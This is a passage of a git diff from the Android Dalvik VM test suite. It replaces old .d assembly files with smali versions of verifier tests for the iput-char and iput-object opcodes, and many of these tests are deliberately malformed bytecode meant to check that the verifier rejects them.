+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_31.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_31;->st_i1:C
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.d
deleted file mode 100644
index 6f78812..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_4.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_4
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-char v3, v2, dot.junit.opcodes.iput_char.d.T_iput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali
new file mode 100644
index 0000000..1b49e59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_4.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-char v3, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.d
deleted file mode 100644
index 13f4e50..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_7.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_7
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_7.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali
new file mode 100644
index 0000000..7a7c256
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_7.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_7;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.d
deleted file mode 100644
index 95616a6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_8.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/TestStubs/<init>()V
-
-       const v1, 0
-       iput-char v1, v0, dot.junit.opcodes.iput_char.TestStubs.TestStubField C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali
new file mode 100644
index 0000000..173c19f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_8.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/TestStubs;->TestStubField:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.d
deleted file mode 100644
index d2efaae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_9.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_9
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_9noclass.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali
new file mode 100644
index 0000000..e8e7348
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_9.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_9noclass;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.smali
new file mode 100644
index 0000000..41a974e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+.super Ljava/lang/Object;
+.source "T_iput_object_1.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+.field protected st_p1:Ljava/lang/Object;
+
+.field private st_pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public getPvtField()Ljava/lang/Object;
+    .registers 2
+
+    iget-object v0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_pvt1:Ljava/lang/Object;
+
+    return-object v0
+.end method
+
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.smali
new file mode 100644
index 0000000..6ad2530
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_10;
+.super Ljava/lang/Object;
+.source "T_iput_object_10.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_10;->st_i1N:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.d
deleted file mode 100644
index f75accc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_11.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/TestStubs/<init>()V
-
-       iput-object v2, v0, dot.junit.opcodes.iput_object.TestStubs.TestStubFieldFinal Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali
new file mode 100644
index 0000000..e0d0048
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_11.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/TestStubs;-><init>()V
+
+       iput-object v2, v0, Ldot/junit/opcodes/iput_object/TestStubs;->TestStubFieldFinal:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.smali
new file mode 100644
index 0000000..5cc895a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_12;
+.super Ljava/lang/Object;
+.source "T_iput_object_12.java"
+
+
+# instance fields
+.field public final st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_12;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.smali
new file mode 100644
index 0000000..9cda9bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_13;
+.super Ljava/lang/Object;
+.source "T_iput_object_13.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v0, 0x0
+
+    iput-object p0, v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_13;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.d
deleted file mode 100644
index 4e420fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_14.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_14
-.super dot/junit/opcodes/iput_object/d/T_iput_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/d/T_iput_object_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()Ljava/lang/Object;
-.limit regs 2
-
-       iget-object v0, v1, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_p1 Ljava/lang/Object;
-       return-object v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_p1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali
new file mode 100644
index 0000000..7f0a504
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_14.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_14;
+.super  Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()Ljava/lang/Object;
+.registers 2
+
+       iget-object v0, v1, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_p1:Ljava/lang/Object;
+       return-object v0
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_p1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.d
deleted file mode 100644
index 35aeab9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_15.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_15
-.super dot/junit/opcodes/iput_object/d/T_iput_object_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/d/T_iput_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_pvt1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali
new file mode 100644
index 0000000..21e56b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_15.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_15;
+.super  Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_pvt1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.d
deleted file mode 100644
index 71eb363..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_17.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_17.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali
new file mode 100644
index 0000000..64ece6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_17.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
